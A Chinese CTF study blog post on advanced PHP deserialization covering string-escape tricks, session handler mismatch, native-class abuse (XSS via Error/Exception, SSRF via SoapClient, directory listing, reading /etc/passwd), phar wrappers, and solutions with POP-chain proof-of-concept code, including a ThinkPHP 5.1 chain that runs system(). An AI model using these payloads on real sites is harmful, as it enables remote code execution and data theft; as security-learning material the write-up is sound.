反序列化进阶

发布于 2022-12-06  296 次阅读


  • 上次的报告已经写了反序列化的相关知识点,在安洵杯签到题的练习中,我认识到在自己还有许多不足,于是补充一些之前遗漏和更深入的知识

反序列化字符逃逸

  • 字符逃逸用于题目对反序列化字符串进行正则替换,使得反序列化信息被修改(增多或者减少)利用字符的增多和减少来插入字符并且闭环原反序列化字符串
  • 字符逃逸的原理是反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化。

本地测试

<?php
class ok{
    public $test;
    public function __construct($f){
        $this->from = $f;
    }
}

$in = $_GET['in'];

if(isset($in)){
    $class = new ok($in);
    $class = str_replace('bb', 'a', serialize($class));
}

highlight_file(__FILE__); 
echo serialize($class);
传入:
?in=bbbbbb
得到:
 s:47:"O:2:"ok":2:{s:4:"test";N;s:4:"from";s:6:"aaa";}";
  • 可以看到s:6:"aaa"被替换之后反序列化信息被破坏了,但这也为构造新的字符串提供了机会,比如此处s有6位,传入的6个bbbbbb只占用了3位,剩下的三位我们就可以随便构造自己想要的东西了,比如:
传入:
?in=bbbbbbbb";}"
得到:
s:53:"O:2:"ok":2:{s:4:"test";N;s:4:"from";s:12:"aaaa";}"";}";
  • 可以看出这里提前闭合了反序列化字符串,闭环处前面就可随便构造了

例题

  • 字符被替换减少就会出现类似s:6:"aaa"的情况,多出来的字符位可以给我们提供安插闭环的空间
  • 作业的第一题(这题其实可以不用字符逃逸)
message.php:

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

index.php:

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);
  • 只需要对象的token属性为admin即可,如果直接改token的初始值是不行的,考虑字符逃逸将token弄没
直接传参的结果:
O:7:"message":4:{s:4:"from";s:2:"he";s:3:"msg";s:2:"ha";s:2:"to";s:3:"hei";s:5:"token";s:4:"user";}
目标结果:
O:7:"message":4:{s:4:"from";s:2:"he";s:3:"msg";s:2:"ha";s:2:"to";s:3:"hei";s:5:"token";s:5:"admin";}
目标闭环结果:
O:7:"message":4:{s:4:"from";s:2:"he";s:3:"msg";s:2:"ha";s:2:"to";s:29:"he";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
  • 对于目标闭环结果,反序列化时admin只有5位,而序列化有8位,借助上面的原理就可以让字符平白多3位
每传一个fuck而变成loveu,就会使29不变而字符串+1
传27个fuck就行辣

127.0.0.1/2.php?f=he&m=ha&t=hefuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

方法就是这样了,为啥没成功啊55555

session反序列化

  • 有三种反序列化引擎
php : a|s:3:"wzk";
php_serialize : a:1:{s:1:"a";s:3:"wzk";}
php_binary : as:3:"wzk";
  • 网站默认是php引擎,serialize是php_serialize引擎,这种情况下会产生漏洞
  • ini_set函数被用户控制也会产生漏洞
ini_set('session.serialize_handler', 'php');//设置php.ini的反序列化引擎
  • session是一个数组,默认被序列化传输,如果在php_serialize序列化得到的字符串前面加上|,而反序列化引擎是php,php引擎就会认为|后面是键值从而自动反序列化

原生类

Error内置类(xss)

  • 使用条件:
适用于php7版本
在开启报错的情况下
  • 使用方法:
<?php
$a = unserialize($_GET['cmd']);
echo $a;
?> 
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

Exception内置类(xss)

  • 使用条件:
适用于php5、7版本
开启报错的情况下
  • 使用方法:
<?php
$a = unserialize($_GET['cmd']);
echo $a;
?>
<?php
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

SoapClient类(ssrf+crsf)

crsf

  • 先拓展一下crsf
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码
  • 在soapclicent中可以控制ua字段,通过/r/n可以控制其他的字段(比如cookie)

sopclient

  • 使用方法:
<?php
$a = new SoapClient(null,array('location'=>'http://ip:10000/aaa', 'user_agent'=>'老铁666/r/nContent-Type: application/x-www-form-urlencoded^^'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

DirectoryIterator 类

  • 会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名
<?php
$dir=new DirectoryIterator("/");
echo $dir;
  • 但是这样只能输出文件夹中的第一个文件,如果要输出所有文件需要结合glob协议
<?php
$dir=new DirectoryIterator("glob:///flag");
echo $dir;

FilesystemIterator 类

  • FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
<?php
$dir=new FilesystemIterator("/");
  • 和上面一样,只能输出第一个,但是不知道能不能用glob

GlobIterator类

  • GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径
<?php
$dir = $_GET['cmd'];
$a = new GlobIterator($dir);
?>

SplFileObject 类

  • SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作
  • 和上面的类一样,也只能读第一行,如果要读完只能写循环语句
<?php
$context = new SplFileObject('/etc/passwd');
echo $context;

phar反序列化

  • 需要能上传文件的地方
  • 需要文件包含漏洞
一个生成phar的脚本:

<?php
class Test{
    public $username = 'xiaolong';
}
$p = new Test();

$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($p);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
  • 上传成功后执行:include('phar://test.phar');即可
如果phar不能放在首位也可以包含下面语句:
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
php://filter/read=convert.base64-encode/resource=phar://phar.phar

5道题目

第一题

message.php:

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

index.php:

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);
  • 字符逃逸的方法上面已经写到了,这里就写一个巧妙的方法吧
poc

<?php
highlight_file(__FILE__);
include('flag.php');
class message{
    public $from=a;
    public $msg=b;
    public $to=c;
    public $token='admin';
    }
}
$q=new message;
echo base64_encode(serialize($q));
  • cookie传入msg即可,messge.php没有可以被触发的魔术方法,所以我们设定的token=admin不会被改回去

第二题

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
  • 一个常规的pop
  • 从show类进去,$this->source触发tostring
  • return $this->str->source 触发get
  • $function() 触发invoke()
  • $this->append($this->var) 触发append,成功包含flag文件
  • 唯一有点坑的地方就是不能直接包含flag.php,要base64转码去读
poc

<?php
class Modifier {
    protected  $var="flag.php";
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;

    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$a=new Show;
$a->source=new Show;
$a->source->str=new Test;
$a->source->str->p=new Modifier;
//$a->str->w->var='php://filter/read=convert.base64-encode/resource=flag.php';
echo urlencode(serialize($a));
?>

第三题

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}
  • 一个常规的pop
  • echo "Welcome to NewStarCTF, ".$this->name; 触发tostring
  • $this->obj->check($this->var) 触发call
  • $this->cla = clone $var[0]; 触发clone
  • isset($this->obj->cmd) 触发isset
  • ($this->func)(); 触发invoke包含flag
  • 唯一有点坑的地方是post传参,不是get,,,,
poc

<?php
error_reporting(0);
highlight_file(__FILE__);

class Start{
    public $name;
    public $func;
}

class Sec{
    public $obj;
    public $var;
}

class Easy{
    public $cla;
}

class eeee{
    public $obj;
}

$q=new Start;
$q->name=new Sec;
$q->name->obj=new Easy;
$q->name->var=new eeee;
$q->name->var->obj=new Start;
$q->name->var->obj->func=new Sec;
echo serialize($q);

thinkphpv5.1

  • 框架漏洞题目,搜索thinkphpv5.1,得到漏洞的pop链
poc

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["Sentiment"=>["hello"]];
        $this->data = ["Sentiment"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
  • 拿到链子之后就要找注入点了,下载源文件,发现根目录是public文件夹,翻了一下发现除了没有用的index.php还有一个router.php,查看内容后者也没有什么用
  • 那么问题来了:漏洞存在于和网站根目录同级的其他文件夹下面,但是我们访问不了,再查一下,得到了URL 解析模式这个东东
ThinkPHP 框架非常多的操作都是通过 URL 来实现的;
http://serverName/index.php/模块/控制器/操作/参数/值…;
index.php 为入口文件,在 public 目录内的 index.php 文件;
模块在 application 目录下默认有一个 index 目录,这就是一个模块;
而在 index 目录下有一个 controller 控制器目录的 Index.php 控制器;
Index.php 控制器的类名也必须是 class Index,否则错误;
而操作就是控制器 class Index 里面的方法,比如:index 或 hello;
那么完整形式为:public/index.php/index/index/index
官方给的默认模块,默认控制器,默认操作都是 index,所以出现四个 index;
而操作还另给了一个带参数的方法:hello,如下:
那么完整形式为:public/index.php/index/index/hello/name/Lee
  • 经过测试和上网查找,/index.php/index/index/hello表示进入同级文件夹application下的index文件夹下的index目录下的index.php并且调用了index.php中的hello函数
  • 这样,我们就拥有了除了public文件夹的访问权之外的application\index\controller\index.php的访问权
  • 一共就只能访问到三个php文件,仔细看看,入口就在application\index\controller\index.php里面了
  • parse_str把接收的参数给$haha,再把参数从$haha里面提取出来
比如传入
a=114514
经过parse_str
array('a'=>"114514",'b'=>"123456")
extract之后
a=114514
b=123456
  • 所以本题虽然不能传hello,但是可以通过这种方法传一个world[hello]=xxxxx,就等价于hello=xxxxx了
  • 那么我们就通过world[a]=xxxx成功控制了文件包含漏洞,但是死在了上传文件的这一步上面

bestphp's revenge

  • 在做安洵杯baby(beibi)php签(quan)到(tui)题之前,先拿这道题练一下原生类+session反序列化吧
 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { } 
  • 题目提示flag在flag.php里,和安洵杯一样,用soapclient打ssrf即可
  • name可以传入soapclient的序列化值
  • 和上面tjinkphpv5.1那道题目一样,call_user_func($_GET['f'], $_POST);提供了一个变量覆盖的接口,$_GET['f']接收函数名为extract,post传入a=114514,就可以得到$a=114514
  • 关于extract的一个有趣的本地测试
构造一个extract的例子:
<?php
call_user_func('extract', $_POST);
//extract($lihai);
print_r($a);
?>

测试:
传入a[20]=114514  $a为空值
传入lihai[a]=1    $a为空值,$lihai为Array ( [a] => 1 )
注意第二次测试中extract的作用并没有实现,如果再extract一下:
<?php
call_user_func('extract', $_POST);
extract($lihai);
print_r($a);
?>

测试:
传入lihai[a]=1    $lihai依然为Array ( [a] => 1 ),$a却不为空值了!

如果第一次传入数字,就得extract两次才能出键名的值,感觉可以用这个出一个超级坑的题目
  • 继续题目,可以通过上述结论覆盖b变量,为了实现soap的调用,就得触发tostring,call_user_func($soap,'welcome_to_the_lctf2018')就会把soap当成字符串,所以覆盖$b为call_user_func,session传入实例化后的soapclient的对象
  • emmm~本题和安洵杯的babyphp后面一起补上吧(ps:师傅说他出的这道题之前看了一些lctf这道🤣)

安洵杯babyphp

届ける言葉を今は育ててる
最后更新于 2024-02-07